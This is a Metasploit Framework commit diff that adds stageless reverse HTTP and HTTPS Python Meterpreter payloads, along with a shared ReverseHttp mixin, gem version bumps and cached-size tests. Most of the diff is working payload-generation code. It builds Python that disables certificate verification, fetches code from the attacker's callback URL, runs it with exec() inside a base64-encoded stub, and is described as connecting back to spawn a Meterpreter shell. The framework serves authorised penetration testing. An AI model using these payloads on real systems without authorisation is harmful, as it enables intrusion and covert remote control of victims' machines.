Land #6299, Stageless HTTP(S) Python Meterpreter

bug/bundler_fix
wchen-r7 2015-12-04 16:16:54 -06:00
commit 14b1b3a1f0
No known key found for this signature in database
GPG Key ID: 2384DB4EF06F730B
14 changed files with 292 additions and 200 deletions

View File

@ -13,7 +13,7 @@ PATH
metasploit-concern (= 1.0.0)
metasploit-credential (= 1.0.1)
metasploit-model (= 1.0.0)
metasploit-payloads (= 1.0.17)
metasploit-payloads (= 1.0.18)
metasploit_data_models (= 1.2.9)
msgpack
network_interface (~> 0.0.1)
@ -123,7 +123,7 @@ GEM
activemodel (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)
railties (>= 4.0.9, < 4.1.0)
metasploit-payloads (1.0.17)
metasploit-payloads (1.0.18)
metasploit_data_models (1.2.9)
activerecord (>= 4.0.9, < 4.1.0)
activesupport (>= 4.0.9, < 4.1.0)

View File

@ -285,23 +285,14 @@ protected
blob = ""
blob << obj.generate_stage(
http_url: url,
http_user_agent: datastore['MeterpreterUserAgent'],
http_proxy_host: datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
http_proxy_port: datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
uuid: uuid,
uri: conn_id
)
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
# Patch all the things
blob.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(url)}'")
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
unless datastore['PayloadProxyHost'].blank?
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
resp.body = blob
# Short-circuit the payload's handle_connection processing for create_session

View File

@ -5,7 +5,9 @@ module Msf::Payload::Python
#
# Encode the given python command in base64 and wrap it with a stub
# that will decode and execute it on the fly.
# that will decode and execute it on the fly. The code will be condensed to
# one line and compatible with all Python versions supported by the Python
# Meterpreter stage.
#
# @param cmd [String] The python code to execute.
# @return [String] Full python stub to execute the command.

View File

@ -36,6 +36,14 @@ module Payload::Python::MeterpreterLoader
# configuration
#
# @param opts [Hash] The options to use for patching the stage data.
# @option opts [String] :http_proxy_host The host to use as a proxy for
# HTTP(S) transports.
# @option opts [String] :http_proxy_port The port to use when a proxy host is
# set for HTTP(S) transports.
# @option opts [String] :http_url The HTTP(S) URL to patch in to
# allow use of the stage as a stageless payload.
# @option opts [String] :http_user_agent The value to use for the User-Agent
# header for HTTP(S) transports.
# @option opts [String] :stageless_tcp_socket_setup Python code to execute to
# setup a tcp socket to allow use of the stage as a stageless payload.
# @option opts [String] :uuid A specific UUID to use for sessions created by
@ -43,6 +51,10 @@ module Payload::Python::MeterpreterLoader
def stage_meterpreter(opts={})
met = MetasploitPayloads.read('meterpreter', 'meterpreter.py')
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*8).gsub('\'', %q(\\\\\\\'))
}
if datastore['PythonMeterpreterDebug']
met = met.sub("DEBUGGING = False", "DEBUGGING = True")
end
@ -56,6 +68,15 @@ module Payload::Python::MeterpreterLoader
uuid = Rex::Text.to_hex(uuid.to_raw, prefix = '')
met.sub!("PAYLOAD_UUID = \'\'", "PAYLOAD_UUID = \'#{uuid}\'")
# patch in the stageless http(s) connection url
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:http_url])}'") if opts[:http_url].to_s != ''
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(opts[:http_user_agent])}'") if opts[:http_user_agent].to_s != ''
if opts[:http_proxy_host].to_s != ''
proxy_url = "http://#{opts[:http_proxy_host]}:#{opts[:http_proxy_port]}"
met.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
end
# patch in any optional stageless tcp socket setup
unless opts[:stageless_tcp_socket_setup].nil?
socket_setup = opts[:stageless_tcp_socket_setup]

View File

@ -0,0 +1,132 @@
# -*- coding: binary -*-
require 'msf/core'
require 'msf/core/payload/uuid/options'
module Msf
module Payload::Python::ReverseHttp
include Msf::Payload::UUID::Options
def initialize(info = {})
super(info)
register_options(
[
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
# Generate the first stage
#
def generate(opts={})
opts.merge!({
host: datastore['LHOST'] || '127.127.127.127',
port: datastore['LPORT'],
proxy_host: datastore['PayloadProxyHost'],
proxy_port: datastore['PayloadProxyPort'],
user_agent: datastore['MeterpreterUserAgent']
})
opts[:scheme] = 'http' if opts[:scheme].nil?
generate_reverse_http(opts)
end
#
# Return the callback URL
#
def generate_callback_url(opts)
# required opts:
# host, port, scheme
if Rex::Socket.is_ipv6?(opts[:host])
target_url = "#{opts[:scheme]}://[#{opts[:host]}]"
else
target_url = "#{opts[:scheme]}://#{opts[:host]}"
end
target_url << ':'
target_url << opts[:port].to_s
target_url << generate_callback_uri(opts)
target_url
end
#
# Return the longest URI that fits into our available space
#
def generate_callback_uri(opts={})
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_uuid_mode(opts[:uri_uuid_mode] || :init_python, uri_req_len)
end
def generate_reverse_http(opts={})
# required opts:
# proxy_host, proxy_port, scheme, user_agent
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
proxy_host = opts[:proxy_host]
proxy_port = opts[:proxy_port]
urllib_fromlist = ['\'build_opener\'']
urllib_fromlist << '\'ProxyHandler\'' if proxy_host.to_s != ''
urllib_fromlist << '\'HTTPSHandler\'' if opts[:scheme] == 'https'
urllib_fromlist = '[' + urllib_fromlist.join(',') + ']'
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
if opts[:scheme] == 'https'
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
end
if proxy_host.to_s != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
py_create_exec_stub(cmd)
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
end
end

View File

@ -63,4 +63,3 @@ module Payload::Python::ReverseTcp
end
end

View File

@ -68,7 +68,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model', '1.0.0'
# Needed for Meterpreter
spec.add_runtime_dependency 'metasploit-payloads', '1.0.17'
spec.add_runtime_dependency 'metasploit-payloads', '1.0.18'
# Needed by msfgui and other rpc components
spec.add_runtime_dependency 'msgpack'
# get list of network interfaces, like eth* from OS.

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module Metasploit4
CachedSize = 49482
CachedSize = 50226
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -0,0 +1,47 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/python'
require 'msf/core/payload/python/meterpreter_loader'
require 'msf/core/payload/python/reverse_http'
require 'msf/base/sessions/meterpreter_python'
module Metasploit4
CachedSize = 50190
include Msf::Payload::Single
include Msf::Payload::Python
include Msf::Payload::Python::ReverseHttp
include Msf::Payload::Python::MeterpreterLoader
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Meterpreter Shell, Reverse HTTP Inline',
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttp,
'Session' => Msf::Sessions::Meterpreter_Python_Python
))
end
def generate_reverse_http(opts={})
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]
})
py_create_exec_stub(met)
end
end

View File

@ -0,0 +1,48 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/python'
require 'msf/core/payload/python/meterpreter_loader'
require 'msf/core/payload/python/reverse_http'
require 'msf/base/sessions/meterpreter_python'
module Metasploit4
CachedSize = 50190
include Msf::Payload::Single
include Msf::Payload::Python
include Msf::Payload::Python::ReverseHttp
include Msf::Payload::Python::MeterpreterLoader
def initialize(info = {})
super(merge_info(info,
'Name' => 'Python Meterpreter Shell, Reverse HTTPS Inline',
'Description' => 'Connect back to the attacker and spawn a Meterpreter shell',
'Author' => 'Spencer McIntyre',
'License' => MSF_LICENSE,
'Platform' => 'python',
'Arch' => ARCH_PYTHON,
'Handler' => Msf::Handler::ReverseHttps,
'Session' => Msf::Sessions::Meterpreter_Python_Python
))
end
def generate_reverse_http(opts={})
opts[:scheme] = 'https'
opts[:uri_uuid_mode] = :init_connect
met = stage_meterpreter({
http_url: generate_callback_url(opts),
http_user_agent: opts[:user_agent],
http_proxy_host: opts[:proxy_host],
http_proxy_port: opts[:proxy_port]
})
py_create_exec_stub(met)
end
end

View File

@ -12,7 +12,7 @@ require 'msf/base/sessions/meterpreter_python'
module Metasploit4
CachedSize = 49398
CachedSize = 50146
include Msf::Payload::Single
include Msf::Payload::Python

View File

@ -5,12 +5,16 @@
require 'msf/core'
require 'msf/core/handler/reverse_http'
require 'msf/core/payload/python'
require 'msf/core/payload/python/reverse_http'
module Metasploit3
module Metasploit4
CachedSize = 466
CachedSize = 494
include Msf::Payload::Stager
include Msf::Payload::Python
include Msf::Payload::Python::ReverseHttp
def initialize(info = {})
super(merge_info(info,
@ -23,90 +27,6 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseHttp,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || '127.127.127.127'
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "http://[#{lhost}]"
else
target_url = "http://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << '/'
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
cmd = "import sys\n"
if proxy_host == ''
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
else
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_checksum(Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, uri_req_len)
end
end

View File

@ -5,14 +5,16 @@
require 'msf/core'
require 'msf/core/handler/reverse_https'
require 'msf/core/payload/uuid/options'
require 'msf/core/payload/python'
require 'msf/core/payload/python/reverse_http'
module Metasploit3
module Metasploit4
CachedSize = 762
include Msf::Payload::Stager
include Msf::Payload::UUID::Options
include Msf::Payload::Python
include Msf::Payload::Python::ReverseHttp
def initialize(info = {})
super(merge_info(info,
@ -25,103 +27,13 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseHttps,
'Stager' => {'Payload' => ""}
))
register_options(
[
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
], self.class)
end
#
# Constructs the payload
#
def generate
lhost = datastore['LHOST'] || '127.127.127.127'
var_escape = lambda { |txt|
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
}
if Rex::Socket.is_ipv6?(lhost)
target_url = "https://[#{lhost}]"
else
target_url = "https://#{lhost}"
end
target_url << ':'
target_url << datastore['LPORT'].to_s
target_url << generate_callback_uri
proxy_host = datastore['PayloadProxyHost'].to_s
proxy_port = datastore['PayloadProxyPort'].to_i
if proxy_host == ''
urllib_fromlist = "['HTTPSHandler','build_opener']"
else
urllib_fromlist = "['HTTPSHandler','ProxyHandler','build_opener']"
end
cmd = "import sys\n"
cmd << "vi=sys.version_info\n"
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=#{urllib_fromlist})\n"
cmd << "hs=[]\n"
# Context added to HTTPSHandler in 2.7.9 and 3.4.3
cmd << "if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):\n"
cmd << "\timport ssl\n"
cmd << "\tsc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)\n"
cmd << "\tsc.check_hostname=False\n"
cmd << "\tsc.verify_mode=ssl.CERT_NONE\n"
cmd << "\ths.append(ul.HTTPSHandler(0,sc))\n"
if proxy_host != ''
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
"http://[#{proxy_host}]:#{proxy_port}" :
"http://#{proxy_host}:#{proxy_port}"
cmd << "hs.append(ul.ProxyHandler({'https':'#{var_escape.call(proxy_url)}'}))\n"
end
cmd << "o=ul.build_opener(*hs)\n"
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
cmd << "exec(o.open('#{target_url}').read())\n"
# Base64 encoding is required in order to handle Python's formatting requirements in the while loop
b64_stub = "import base64,sys;exec(base64.b64decode("
b64_stub << "{2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('"
b64_stub << Rex::Text.encode_base64(cmd)
b64_stub << "')))"
return b64_stub
end
#
# Determine the maximum amount of space required for the features requested
#
def required_space
# Start with our cached default generated size
space = cached_size
# Add 100 bytes for the encoder to have some room
space += 100
# Make room for the maximum possible URL length
space += 256
# The final estimated size
space
end
#
# Return the longest URL that fits into our available space
#
def generate_callback_uri
uri_req_len = 30 + rand(256-30)
# Generate the short default URL if we don't have enough space
if self.available_space.nil? || required_space > self.available_space
uri_req_len = 5
end
generate_uri_uuid_mode(:init_python, uri_req_len)
super({scheme: 'https'})
end
end

View File

@ -2255,6 +2255,26 @@ describe 'modules/payloads', :content do
reference_name: 'python/meterpreter_bind_tcp'
end
context 'python/meterpreter_reverse_http' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/python/meterpreter_reverse_http'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter_reverse_http'
end
context 'python/meterpreter_reverse_https' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [
'singles/python/meterpreter_reverse_https'
],
dynamic_size: false,
modules_pathname: modules_pathname,
reference_name: 'python/meterpreter_reverse_https'
end
context 'python/meterpreter_reverse_tcp' do
it_should_behave_like 'payload cached size is consistent',
ancestor_reference_names: [